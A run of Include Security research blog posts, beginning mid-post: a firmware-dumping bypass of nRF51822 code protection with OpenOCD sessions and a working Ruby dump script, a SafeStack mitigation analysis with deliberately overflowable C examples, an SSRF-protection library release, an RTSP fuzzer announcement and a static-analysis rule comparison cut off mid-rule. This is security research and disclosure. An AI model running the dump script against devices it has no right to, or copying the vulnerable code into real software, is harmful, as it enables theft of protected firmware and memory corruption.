(4) r4 (/32): 0x00000000
(5) r5 (/32): 0x00000000
(6) r6 (/32): 0x00000000
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): 0x00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x00000000
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114D0
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000000
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

OK, this time r3 was set to 0x20001BD0. Is that the value at address zero? Let’s see what happens when we run the second instruction with the registers set to 4:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg r0 0x00000004
r0 (/32): 0x00000004
> reg r1 0x00000004
r1 (/32): 0x00000004
> reg r2 0x00000004
r2 (/32): 0x00000004
> reg r3 0x00000004
r3 (/32): 0x00000004
> reg r4 0x00000004
r4 (/32): 0x00000004
> reg r5 0x00000004
r5 (/32): 0x00000004
> reg r6 0x00000004
r6 (/32): 0x00000004
> reg r7 0x00000004
r7 (/32): 0x00000004
> reg r8 0x00000004
r8 (/32): 0x00000004
> reg r9 0x00000004
r9 (/32): 0x00000004
> reg r10 0x00000004
r10 (/32): 0x00000004
> reg r11 0x00000004
r11 (/32): 0x00000004
> reg r12 0x00000004
r12 (/32): 0x00000004
> reg sp 0x00000004
sp (/32): 0x00000004
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x00000004
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000004
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x00000004
(3) r3 (/32): 0x000114CD
(4) r4 (/32): 0x00000004
(5) r5 (/32): 0x00000004
(6) r6 (/32): 0x00000004
(7) r7 (/32): 0x00000004
(8) r8 (/32): 0x00000004
(9) r9 (/32): 0x00000004
(10) r10 (/32): 0x00000004
(11) r11 (/32): 0x00000004
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x00000004
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114D0
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000004
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

This time, r3 got 0x00014CD. This value actually strongly implies we’re reading memory. Why? The value is actually the reset vector. According to the Cortex-M0 documentation, the reset vector is at address 4, and when we reset the chip, the PC is set to 0x000114CC (the least significant bit is set in the reset vector, changing C to D, because the Cortex-M0 operates in Thumb mode).

Let’s try reading the two instructions we just were testing:

reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg r0 0x000114cc
r0 (/32): 0x000114CC
> reg r1 0x000114cc
r1 (/32): 0x000114CC
> reg r2 0x000114cc
r2 (/32): 0x000114CC
> reg r3 0x000114cc
r3 (/32): 0x000114CC
> reg r4 0x000114cc
r4 (/32): 0x000114CC
> reg r5 0x000114cc
r5 (/32): 0x000114CC
> reg r6 0x000114cc
r6 (/32): 0x000114CC
> reg r7 0x000114cc
r7 (/32): 0x000114CC
> reg r8 0x000114cc
r8 (/32): 0x000114CC
> reg r9 0x000114cc
r9 (/32): 0x000114CC
> reg r10 0x000114cc
r10 (/32): 0x000114CC
> reg r11 0x000114cc
r11 (/32): 0x000114CC
> reg r12 0x000114cc
r12 (/32): 0x000114CC
> reg sp 0x000114cc
sp (/32): 0x000114CC
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x000114cc
> reg r3
r3 (/32): 0x681B4B13

The r3 register has the value 0x681B4B13. That disassembles to two load instructions, the first relative to the pc, the second relative to r3:

$ printf "x13x4bx1bx68" > /tmp/armcode

$ arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode




/tmp/armcode:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   4b13            ldr     r3, [pc, #76]   ; (0x50)
   2:   681b            ldr     r3, [r3, #0]

In case you don’t read Thumb assembly, that second instruction is a load register instruction (ldr); it’s taking an address from the r3 register, adding an offset of zero, and loading the value from that address into the r3 register.

We’ve found a load instruction that lets us read memory from an arbitrary address. Again, this is useful because only code in the protected memory can read the protected memory. The trick is that being able to read and write CPU registers using OpenOCD lets us execute those instructions however we want. If we hadn’t been lucky enough to find the load word instruction so close to the reset vector, we could have reset the processor and written a value to the pc register (jumping to an arbitrary address) to try more instructions. Since we were lucky though, we can just step through the first instruction.

Dumping the Firmware

Now that we’ve found a load instruction that we can execute to read from arbitrary addresses, our firmware dumping process is as follows:

  1. Reset the CPU
  2. Single step (we don’t care about the first instruction)
  3. Put the address we want to read from into r3
  4. Single step (this loads from the address in r3 to r3)
  5. Read the value from r3

Here’s a ruby script to automate the process:

#!/usr/bin/env ruby

require 'net/telnet'

debug = Net::Telnet::new("Host" => "localhost", 
                         "Port" => 4444)

dumpfile = File.open("dump.bin", "w")

((0x00000000/4)...(0x00040000)/4).each do |i|
  address = i * 4
  debug.cmd("reset halt")
  debug.cmd("step")
  debug.cmd("reg r3 0x#{address.to_s 16}")
  debug.cmd("step")
  response = debug.cmd("reg r3")
  value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16
  dumpfile.write([value].pack("V"))
  puts "0x%08x:  0x%08x" % [address, value]
end

dumpfile.close
debug.close

The ruby script connects to the OpenOCD user interface, which is available via a telnet connection on localhost. It then loops through addresses that are multiples of four, using the load instruction we found to read data from those addresses.

Vendor Response

IncludeSec contacted NordicSemi via their customer support channel where they received a copy of this blog post. From NordicSemi customer support: We take this into consideration together with other factors, and the discussions around this must be kept internal.”
We additionally reached out to the only engineer who had security in his title and he didn’t really want a follow-up Q&A call or further info and redirected us to only talk to customer support. So that’s about all we can do for coordinated disclosure on our side.

Conclusion

Once we have a copy of the firmware image, we can do whatever disassembly or reverse engineering we want with it. We can also now disable the chip’s PALL protection in order to more easily debug the code. To disable PALL, you need to erase the chip, but that’s not a problem since we can immediately re-flash the chip using the dumped firmware. Once that the chip has been erased and re-programmed to disable the protection we can freely use the debugger to: read and write RAM, set breakpoints, and so on. We can even attach GDB to OpenOCD, and debug the firmware that way.

The technique described here won’t work on all microcontrollers or SoCs; it only applies to situations where you have access to a debugging interface that can read and write CPU registers but not protected memory. Despite the limitation though, the technique can be used to dump firmware from nRF51822 chips and possibly others that use similar protections. We feel this is a vulnerability in the design of the nRF51822 code protection.

Are you using other cool techniques to dump firmware? Do you know of any other microcontrollers or SoCs that might be vulnerable to this type of code protection bypass? Let us know in the comments.

The post Firmware dumping technique for an ARM Cortex-M0 SoC appeared first on Include Security Research Blog.

Strengths and Weaknesses of LLVM’s SafeStack Buffer Overflow Protection

12 November 2015 at 21:00

Introduction

In June 2015, a new memory corruption exploit mitigation named SafeStack was merged into the llvm development branch by Peter Collingbourne from Google and will be available with the upcoming 3.8 release. SafeStack was developed as part of the Code Pointer Integrity (CPI) project but is also available as stand-alone mitigation. We like to stay ahead of the curve on security, so this post aims to discuss the inner workings and the security benefits of SafeStack for consideration in future attacks and possible future improvements to the feature.

SafeStack in a Nutshell

SafeStack is a mitigation similar to (but potentially more powerful than) Stack Cookies. It tries to protect critical data on the stack by separating the native stack into two areas: A safe stack, which is used for control flow information as well as data that is only ever accessed in a safe way (as determined through static analysis). And an unsafe stack which is used for everything else that is stored on the stack. The two stacks are located in different memory regions in the process’s address space and thus prevent a buffer overflow on the unsafe stack from corrupting anything on the safe stack.

SafeStack promises a generally good protection against common stack based memory corruption attacks while introducing only a low performance overhead (around 0.1% on average according to the documentation) when implemented.

When SafeStack is enabled, the stack pointer register (esp/rsp on x86/x64 respectively) will be used for the safe stack while the unsafe stack is tracked by a thread-local variable. The unsafe stack is allocated during initialization of the binary by mmap’ing a region of readable and writable memory and preceding this region with a guard page, presumably to catch stack overflows in the unsafe stack region.

SafeStack is (currently) incompatible with Stack Cookies and disables them when it is used.

Implementation Details

SafeStack is implemented as an llvm instrumentation pass, the main logic is implemented in lib/Transforms/Instrumentation/SafeStack.cpp. The instrumentation pass runs as one of the last steps before (native) code generation.

More technically: The instrumentation pass works by examining all “alloca” instructions in the intermediate representation (IR) of a function (clang first compiles the code into llvm’s intermediate representation and later, after various instrumentation/optimization passes, translates the IR into machine code). An “alloca” instruction allocates space on the stack for a local variable or array. The SafeStack instrumentation pass then traverses the list of instructions that make use of this variable and determines whether these accesses are safe or not. If any access is determined to be “unsafe” by the instrumentation pass, the “alloca” instruction is replaced by code that allocates space on the unsafe stack instead and the instructions using the variable are updated accordingly.

The IsSafeStackAlloc function is responsible for deciding whether a stack variable can ever be accessed in an “unsafe” way. The definition of “unsafe” is currently rather conservative: a variable is relocated to the unsafe stack in the following cases:

  • a pointer to the variable is stored somewhere in memory
  • an element of an array is accessed with a non-constant index (i.e. another variable)
  • a variable sized array is accessed (with constant or non-constant index)
  • a pointer to the variable is given to a function as argument

The SafeStack runtime support, which is responsible for allocating and initializing the unsafe stack, can be found here. As previously mentioned, the unsafe stack is just a regular mmap’ed region.

Exploring SafeStack: Implementation in Practice

Let’s now look at a very simple example to understand how SafeStack works under the hood. For my testing I compiled clang/llvm from source following this guide: http://clang.llvm.org/get_started.html

We’ll use the following C code snippet:

void function(char *str) {
    char buffer[16];
    strcpy(buffer, str);
}

Let’s start by looking at the generated assembly when no stack protection is used. For that we compile with “clang -O1 example.c” (optimization is enabled to reduce noise)

0000000000400580 <function>:
  400580:    48 83 ec 18            sub    rsp,0x18
  400584:    48 89 f8               mov    rax,rdi
  400587:    48 8d 3c 24            lea    rdi,[rsp]
  40058b:    48 89 c6               mov    rsi,rax
  40058e:    e8 bd fe ff ff         call   400450 <strcpy@plt>
  400593:    48 83 c4 18            add    rsp,0x18
  400597:    c3                     ret


Easy enough. The function allocates space on the stack for the buffer at 400580, then calls strcpy with a pointer to the buffer at 40058e. 

Now let’s look at the assembly code generated when using Stack Cookies. For that we need to use the -fstack-protector flag (available in gcc and clang): “clang -O1 -fstack-protector example.c”:

00000000004005f0 <function>:
  4005f0:    48 83 ec 18            sub    rsp,0x18
  4005f4:    48 89 f8               mov    rax,rdi
  4005f7:    64 48 8b 0c 25 28 00   mov    rcx,QWORD PTR fs:0x28
  4005fe:    00 00
  400600:    48 89 4c 24 10         mov    QWORD PTR [rsp+0x10],rcx
  400605:    48 8d 3c 24            lea    rdi,[rsp]
  400609:    48 89 c6               mov    rsi,rax
  40060c:    e8 9f fe ff ff         call   4004b0 <strcpy@plt>
  400611:    64 48 8b 04 25 28 00   mov    rax,QWORD PTR fs:0x28
  400618:    00 00
  40061a:    48 3b 44 24 10         cmp    rax,QWORD PTR [rsp+0x10]
  40061f:    75 05                  jne    400626 <function+0x36>
  400621:    48 83 c4 18            add    rsp,0x18
  400625:    c3                     ret
  400626:    e8 95 fe ff ff         call   4004c0 <_stack_chk_fail@plt>

At 4005f7 the master cookie (the reference value of the cookie) is read from the Thread Control Block (TCB which is a per thread data structure provided by libc) and put on the stack, below the return address. Later, at 40061a,  that value is then compared with the value in the TCB before the function returns. If the two values do not match, __stack_chk_fail is called which terminates the process with a message similar to this one: “*** stack smashing detected ***: ./example terminated“.

Now we’ll enable SafeStack by using the -fsanitize=safe-stack flag: “clang -O1 -fsanitize=safe-stack example.c”:

0000000000410d70 <function>:
  410d70:   41 56                  push   r14
  410d72:   53                     push   rbx
  410d73:   50                     push   rax
  410d74:   48 89 f8               mov    rax,rdi
  410d77:   4c 8b 35 6a 92 20 00   mov    r14,QWORD PTR [rip+0x20926a]
  410d7e:   64 49 8b 1e            mov    rbx,QWORD PTR fs:[r14]
  410d82:   48 8d 7b f0            lea    rdi,[rbx-0x10]
  410d86:   64 49 89 3e            mov    QWORD PTR fs:[r14],rdi
  410d8a:   48 89 c6               mov    rsi,rax
  410d8d:   e8 be 00 ff ff         call   400e50 <strcpy@plt>
  410d92:   64 49 89 1e            mov    QWORD PTR fs:[r14],rbx
  410d96:   48 83 c4 08            add    rsp,0x8
  410d9a:   5b                     pop    rbx
  410d9b:   41 5e                  pop    r14
  410d9d:   c3                     ret

At 410d7e the current value of the unsafe stack pointer is retrieved from Thread Local Storage (TLS). Since each thread also has it’s own unsafe stack, the stack pointer for the unsafe stack gets stored as a thread local variable. Next, at 410d82, the program allocates space for our buffer on the unsafe thread and writes the new value back to the TLS (410d86). It then calls the strcpy function with a pointer into the unsafe stack. In the function epilog (410d92), the old value of the unsafe stack pointer is written back into TLS (Basically, these instruction do the equivalent of “sub rsp, x; … add rsp, x”, but for the unsafe stack) and the function returns.

If we compile our program with the “-fsanitize=safe-stack option” and an overflow occurs, the saved return address (on the safe stack) is unaffected and the program likely segfaults as it tries to write behind the unsafe stack into unmapped/unwritable memory.

Security Details: Stack Cookies vs. SafeStack

While Stack Cookies provide fairly good protection against stack corruption exploits, the security measure in general has a few weaknesses. In particular, bypasses are possible in at least the following scenarios:

  • The vulnerability in code is a non-linear overflow/arbitrary relative write on the stack. In this case the cookie can simply be “skipped over”.
  • Data (e.g. function pointers) further up the stack can be corrupted and are used before the function returns.
  • The attacker has access to an information leak. Depending on the nature of the leak, the attacker can either leak the cookie from the stack directly or leak the master cookie. Once obtained, the attacker overflows the stack and overwrites the cookie again with the value obtained in the information leak.
  • In the case of weak entropy. If not enough entropy is available during generation of the cookie value, an attacker may be able to calculate the correct cookie value.
  • In the case of a forking service, the stack cookie value will stay the same for all child processes. This may make it possible to bruteforce the stack cookie value byte-by-byte, overwriting only a single byte of the cookie and observing whether the process crashes (wrong guess) or continues past the next return statement (correct guess). This would require at most 255 tries per unknown stack cookie byte.

It is important to note however, that most stack based overflows that are caused by functions operating on C strings (e.g. strcpy) are unexploitable when compiled with stack cookies enabled. As most stack cookie implementations usually force one of the bytes of the stack cookie to be a zero byte which makes string overwriting past that impossible with a C string (it’s still possible with a network buffer and raw memory copy though).

Possible Implementation bugs aside, SafeStack is, at least in theory, immune to all of these due to the separation of the memory regions.

However, what SafeStack (by design) does not protect against is corruption of data on the unsafe stack. Or, phrased differently, the security of SafeStack is based around the assumption that no critical data is stored on the unsafe stack.

Moreover, in contrast to Stack Cookies, SafeStack does not prevent the callee from corrupting data of the caller (more precisely, Stack Cookies prevent the caller from using the corrupted data after the callee returns). The following example demonstrates this:

void smash_me() {
    char buffer[16];
    gets(buffer);
}

int main() {
    char buffer[16];
    memset(buffer, 0, sizeof(buffer));
    smash_me();
    puts(buffer);
    return 0;
}

Compiling this code with “-fsanitize=safe-stack” and supplying more than 16 bytes as input will overflow into the buffer of main() and corrupt its content. In contrast, when compiled with “-fstack-protector”, the overflow will be detected and the process terminated before main() uses the corrupted buffer.
This weakness could be (partially) addressed by using Stack Cookies in addition to SafeStack. In this scenario, the master cookie could even be stored on the safe stack and regenerated for every function call (or chain of function calls). This would further protect against some of the weaknesses of plain Stack Cookies as described above.

The lack of unsafe stack protections combined with the conservativeness of the current definition of “unsafe” in the implementation potentially provides an attacker with enough critical data on the unsafe stack to compromise the application. As an example, we’ll devise a, more or less, realistic piece of code that will result in the (security critical) variable ‘pl’ being placed on the unsafe stack, above ‘buffer’ (Although it seems that enabling optimization during compilation causes less variables to be placed on the unsafe stack):

void determine_privilege_level(int *pl) {
    // dummy function
    *pl = 0x42;
}

int main() {
    int pl;
    char buffer[16];
    determine_privilege_level(&pl);
    gets(buffer);             // This can overflow and corrupt 'pl'
    printf("privilege level: %xn", pl);
    return 0;
}

This “data-only” attack is possible due to the fact that the current implementation never recurses into called functions but rather considers (most) function arguments as unsafe.

The risk of corrupting critical data on the unsafe stack can however be greatly decreased through improved static analysis, variable reordering, and, as mentioned above, by protecting the callee’s unsafe stack frame.

It should also be noted that the current implementation does not protect the safe stack in any other way besides system level ASLR. This means that an information leak combined with an arbitrary write primitive will still allow an attacker to overwrite the return address (or other data) on the safe stack. See the comment at the top of the runtime support implementation for more information. Finally we should mention there has been an academic study that points out some additional detail regarding CPI.

Conclusion

With the exceptions noted above, SafeStack’s implemented security measures are a superset of those of Stack Cookies, allowing it to prevent exploitation of stack based vulnerabilities in many scenarios. This combined with the low performance overhead could make SafeStack a good choice during compilation in the future.

SafeStack is still in its early stages, but it looks to be a very promising new addition to a developer’s arsenal of compiler provided exploit mitigations. We wouldn’t call it the end-all of buffer overflows, but it’s a significant hurdle for attackers to overcome.

The post Strengths and Weaknesses of LLVM’s SafeStack Buffer Overflow Protection appeared first on Include Security Research Blog.

Introducing: SafeURL – A set of SSRF Protection Libraries

At Include Security, we believe that a reactive approach to security can fall short when it’s not backed by proactive roots. We see new offensive tools for pen-testing and vulnerability analysis being created and released all the time. In regards to SSRF vulnerabilities, we saw an opportunity to release code for developers to assist in protecting against these sorts of security issues. So we’re releasing a new set of language specific libraries to help developers effectively protect against SSRF issues. In this blog post, we’ll introduce the concept of SafeURL; with details about how it works, as well as how developers can use it, and our plans for rewarding those who find vulnerabilities in it!

Preface: Server Side Request Forgery

Server Side Request Forgery (SSRF) is a vulnerability that gives an attacker the ability to create requests from a vulnerable server. SSRF attacks are commonly used to target not only the host server itself, but also hosts on the internal network that would normally be inaccessible due to firewalls.
SSRF allows an attacker to:

  • Scan and attack systems from the internal network that are not normally accessible
  • Enumerate and attack services that are running on these hosts
  • Exploit host-based authentication services

As is the case with many web application vulnerabilities, SSRF is possible because of a lack of user input validation. For example, a web application that accepts a URL input in order to go fetch that resource from the internet can be given a valid URL such as http://google.com
But the application may also accept URLs such as:

When those kinds of inputs are not validated, attackers are able to access internal resources that are not intended to be public.

Our Proposed Solution

SafeURL is a library, originally conceptualized as “SafeCURL” by Jack Whitton (aka @fin1te), that protects against SSRF by validating each part of the URL against a white or black list before making the request. SafeURL can also be used to validate URLs. SafeURL intends to be a simple replacement for libcurl methods in PHP and Python as well as java.net.URLConnection in Scala.
The source for the libraries are available on our Github:

  1. SafeURL for PHP – Primarily developed by @fin1te
  2. SafeURL for Python – Ported by @nicolasrod
  3. SafeURL for Scala – Ported by @saelo

Other Mitigation Techniques

Our approach is focused on protection on the application layer. Other techniques used by some Silicon Valley companies to combat SSRF include:

  • Setting up wrappers for HTTP client calls which are forwarded to a single-purposed proxy that prevents it from talking to any internal hosts based on firewall rules as the HTTP requests are proxied
  • At the application server layer, hijack all socket connections to ensure they meet a developer configured policy by enforcing iptables rules or more advanced interactions with the app server’s networking layer

Installation

PHP

SafeURL can be included in any PHP project by cloning the repository on our Github and importing it into your project.

Python

SafeURL can be used in Python apps by cloning the repository on our Github and importing it like this:

from safeurl import safeurl

Scala

To use SafeURL in Scala applications, clone the repository and store in the app/ folder of your Play application and import it.

import com.includesecurity.safeurl._

Usage

PHP

SafeURL is designed to be a drop-in replacement for the curl_exec() function in PHP. It can simply be replaced with SafeURL::execute() wrapped in a try {} catch {} block.

try {
    $url = "http://www.google.com";

    $curlHandle = curl_init();
    //Your usual cURL options
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (SafeURL)");

    //Execute using SafeURL
    $response = SafeURL::execute($url, $curlHandle);
} catch (Exception $e) {
    //URL wasn"t safe
}

Options such as white and black lists can be modified. For example:

$options = new Options();
$options->addToList("blacklist", "domain", "(.*)\.fin1te\.net");
$options->addToList("whitelist", "scheme", "ftp");

//This will now throw an InvalidDomainException
$response = SafeURL::execute("http://example.com", $curlHandle, $options);

//Whilst this will be allowed, and return the response
$response = SafeURL::execute("ftp://example.com", $curlHandle, $options);

Python

SafeURL serves as a replacement for PyCurl in Python.

try:
  su = safeurl.SafeURL()
  res = su.execute("https://example.com";)
except:
  print "Unexpected error:", sys.exc_info()

Example of modifying options:

try:
    sc = safeurl.SafeURL()

    opt = safeurl.Options()
    opt.clearList("whitelist")
    opt.clearList("blacklist")
    opt.setList("whitelist", [ 
    "google.com" , "youtube.com"], "domain")

    su.setOptions(opt)
    res = su.execute("http://www.youtube.com")
except:
    print "Unexpected error:", sys.exc_info()

Scala

SafeURL replaces the JVM Class URLConnection that is normally used in Scala.

try {
  val resp = SafeURL.fetch("http://google.com")
  val r = Await.result(resp, 500 millis)
} catch {
  //URL wasnt safe

Options:

SafeURL.defaultConfiguration.lists.ip.blacklist ::= "12.34.0.0/16"
SafeURL.defaultConfiguration.lists.domain.blacklist ::= "example.com"

Demo, Bug Bounty Contest, and Further Contributions

An important question to ask is: Is SafeURL really safe? Don’t take our word for it. Try to hack it yourself! We’re hosting live demo apps in each language for anyone to try and bypass SafeURL and perform a successful SSRF attack. On each site there is a file called key.txt on the server’s local filesystem with the following .htaccess policy:

<Files key.txt>
Order deny,allow
Deny from allow
Allow from 127.0.0.1

ErrorDocument 403 /oops.html
</Files>

If you can read the contents of the file through a flaw in SafeURL and tell us how you did it (patch plz?), we will contact you about your reward. As a thank you to the community, we’re going to reward up to one Bitcoin for any security issues. If you find a non-security bug in the source of any of our libraries, please contact us as well you’ll have our thanks and a shout-out.
The challenges are being hosted at the following URLs:
PHP: safeurl-php.excludesecurity.com
Python: safeurl-python.excludesecurity.com
Scala: safeurl-scala.excludesecurity.com

If you can contribute a Pull Request and port the SafeURL concept to other languages (such as Java, Ruby, C#, etc.) we could throw you you some Bitcoin as a thank you.

Good luck and thanks for helping us improve SafeURL!

The post Introducing: SafeURL – A set of SSRF Protection Libraries appeared first on Include Security Research Blog.

IncludeSec’s free training in Buenos Aries for our Argentine hacker friends.

29 April 2019 at 20:20

One of the things that has always been important in IncludeSec’s progress as a company is finding the best talent for the task at hand. We decided early on that if the best Python hacker in the world was not in the US then we would go find that person and work with them! Or whatever technology the project at hand is; C, Go, Ruby, Scala, Java, etc.

As it turns out the best Python hackers (and many other technologies) might actually be in Argentina. We’re not the only ones that have noticed this. Immunity Security, IOActive Security, Gotham Digital Science, and many others have a notable presence in Argentina (The NY Times even wrote an article on how great the hackers are there!) We’ve worked with dozens of amazing Argentinian hackers over the last six years comprising ~30% of our team and we’ve also enjoyed the quality of the security conferences like EkoParty in Buenos Aires.

As a small thank you to the entire Argentinian hacker scene, we’re going to do a free training class on May 30/31st 2019 teaching advanced web hacking techniques. This training is oriented towards hackers earlier in their career who have already experienced the world of OWASP top 10 and are looking to take their hacking skills to the next level.

If that sounds like you, you’re living in Argentina, and can make it to Buenos Aires on May 30th & 31st then this might be an awesome opportunity for you!

Please fill out the application here if this is something that would be awesome for you. We’ll close the application on May 10th.
https://docs.google.com/forms/d/e/1FAIpQLScrjV8wei7h-AY_kW7QwXZkYPDvSQswzUy6BTT9zg8L_Xejxg/viewform?usp=sf_link

Gracias,

Erik Cabetas
Managing Partner

The post IncludeSec’s free training in Buenos Aries for our Argentine hacker friends. appeared first on Include Security Research Blog.

Announcing RTSPhuzz — An RTSP Server Fuzzer

15 June 2020 at 14:00

There are many ways software is tested for faults, some of those faults end up originating from exploitable memory corruption situations and are labeled vulnerabilities. One popular method used to identify these types of faults in software is runtime fuzzing.

When developing servers that implement an RFC defined protocol, dynamically mutating the inputs and messages sent to the server is a good strategy for fuzzing. The Mozilla security team has used fuzzing internally to great effect on their systems and applications over the years. One area that Mozilla wanted to see more open source work in was fuzzing of streaming media protocols, specifically RTSP.

Towards that goal IncludeSec is today releasing https://github.com/IncludeSecurity/RTSPhuzz. We’re also excited to announce the work of the initial development of the tool has been sponsored by the Mozilla Open Source Support (MOSS) awards program. RTSPhuzz is provided as free and open unsupported software for the greater good of the maintainers and authors of RTSP services — FOSS and COTS alike!

RTSPhuzz is based on the boofuzz framework, it and connects as a client to target RTSP servers and fuzzes RTSP messages or sequences of messages. In the rest of this post we’ll cover some of the important bits to know about it. If you have an RTSP server, go ahead and jump right into our repo and shoot us a note to say hi if it ends up being useful to you.

Existing Approaches

We are aware of two existing RTSP fuzzers, StreamFUZZ and RtspFuzzer.

RtspFuzzer uses the Peach fuzzing framework to fuzz RTSP responses, however it targets RTSP client implementations, whereas our fuzzer targets RTSP servers.

StreamFUZZ is a Python script that does not utilize a fuzzing framework. Similar to our fuzzer, it fuzzes different parts of RTSP messages and sends them to a server. However, it is more simplistic; it doesn’t fuzz as many messages or header fields as our fuzzer, it does not account for the types of the fields it fuzzes, and it does not keep track of sessions for fuzzing sequences of messages.

Approach to Fuzzer Creation

The general approach for RTSPhuzz was to first review the RTSP RFC carefully, then define each of the client-to-server message types as boofuzz messages. RTSP headers were then distributed among the boofuzz messages in such a way that each is mutated by the boofuzz engine in at least one message, and boofuzz messages are connected in a graph to reasonably simulate RTSP sessions. Header values and message bodies were given initial reasonable default values to allow successful fuzzing of later messages in a sequence of messages. Special processing is done for several headers so that they conform to the protocol when different parts of messages are being mutated. The boofuzz fuzzing framework gives us the advantage of being able to leverage its built-in mutations, logging, and web interface.

Using RTSPhuzz

You can grab the code from github. Then, specify the server host, server port, and RTSP path to a media file on the target server:

RTSPhuzz.py --host target.server.host --port 554 --path test/media/file.mp3

Once RTSPhuzz is started, the boofuzz framework will open the default web interface on localhost port 26000, and will record results locally in a boofuzz-results/ directory. The web interface can be re-opened for the database from a previous run with boofuzz’s boo tool:

boo open <run-*.db>

See the RTSPhuzz readme for more detailed options and ways to run RTSPhuzz, and boofuzz’s documentation for more information on boofuzz.

Open Source and Continued Development

This is RTSPhuzz’s initial release for open use by all. We encourage you to try it out and share ways to improve the tool. We will review and accept PRs, address bugs where we can, and also would love to hear any shout-outs for any bugs you find with this tool (@includesecurity).

The post Announcing RTSPhuzz — An RTSP Server Fuzzer appeared first on Include Security Research Blog.

Custom Static Analysis Rules Showdown: Brakeman vs. Semgrep

In application assessments you have to do the most effective work you can in the time period defined by the client to maximize the assurance you’re providing. At IncludeSec we’ve done a couple innovative things to improve the overall effectiveness of the work we do, and we’re always on the hunt for more ways to squeeze even more value into our assessments by finding more risks and finding them faster. One topic that we revisit frequently to ensure we’re doing the best we can to maximize efficiency is static analysis tooling (aka SAST.)

Recently we did a bit of a comparison example of two open source static analysis tools to automate detection of suspicious or vulnerable code patterns identified during assessments. In this post we discuss the experience of using Semgrep and Brakeman to create the same custom rule within each tool for a client’s Ruby on Rails assessment our team was assessing. We’re also very interested in trying out GitHub’s CodeQL, but unfortunately the Ruby support is still in development so that will have to wait for another time.

Semgrep is a pattern-matching tool that is semantically-aware and works with several languages (currently its Ruby support is marked as beta, so it is likely not at full maturity yet). Brakeman is a long-lived Rails-specific static-analysis tool, familiar to most who have worked with Rails security. Going in, I had no experience writing custom rules for either one.

This blog post is specifically about writing custom rules for code patterns that are particular to the project I’m assessing. First though I want to mention that both tools have some pre-built general rules for use with most Ruby/Rails projects — Brakeman has a fantastic set of built-in rules for Rails projects that has proven very useful on assessments (just make sure the developers of the project haven’t disabled rules in config/brakeman.yml, and yes we have seen developers do this to make SAST warnings go away!). Semgrep has an online registry of user-submitted rules for Ruby that is also handy (especially as examples for writing your own rules), but the current rule set for Ruby is not quite as extensive as Brakeman. In Brakeman the rules are known as “checks”, for consistency we’ll use the term “rules” for both tools, but you the reader can just keep that fact in mind.

First custom rule: Verification of authenticated functionality

I chose a simple pattern for the first rule I wanted to make, mainly to familiarize myself with the process of creating rules in both Semgrep and Brakeman. The application had controllers that handle non-API routes. These controllers enforced authentication by adding a before filter: before_action :login_required. Often in Rails projects, this line is included in a base controller class, then skipped when authentication isn’t required using skip_before_filter. This was not the case in the webapp I was looking at — the before filter was manually set in every single controller that needed authentication, which seemed error-prone as an overall architectural pattern, but alas it is the current state of the code base.

I wanted to get a list of any non-API controllers that lack this callback so I can ensure no functionality is unintentionally exposed without authentication. API routes handled authentication in a different way so consideration for them was not a priority for this first rule.

Semgrep

I went to the Semgrep website and found that Semgrep has a nice interactive tutorial, which walks you through building custom rules. I found it to be incredibly simple and powerful — after finishing the tutorial in about 20 minutes I thought I had all the knowledge I needed to make the rules I wanted. Although the site also has an online IDE for quick iteration I opted to develop locally, as the online IDE would require submitting our client’s code to a 3rd party which we obviously can’t do for security and liability reasons. The rule would eventually have to be run against the entire codebase anyways.

I encountered a few challenges when writing the rule:

  • It’s a little tricky to find things that do not match a pattern (e.g. lack of a login_required filter). You can’t just search all files for ones that don’t match, you have to have a pattern that it does search for, then exclude the cases matching your negative pattern. I was running into a bug here that made it even harder but the Semgrep team fixed it when we gave them a heads up!
  • Matching only classes derived from ApplicationController was difficult because Semgrep doesn’t currently trace base classes recursively, so any that were more than one level removed from ApplicationController would be excluded (for example, if there was a class DerivedController < ApplicationController, it wouldn’t match SecondLevelDerivedController < DerivedController.) The Semgrep team gave me a tip about using a metavariable regex to filter for classes ending in “Controller” which worked for this situation and added no false positives.

My final custom rule for Semgrep follows:

rules:
- id: controller-without-authn
  patterns:
  - pattern: |
      class $CLASS
        ...
      end
  - pattern-not: |
      class $CLASS
        ...
        before_action ..., :login_required, ...
        ...
      end
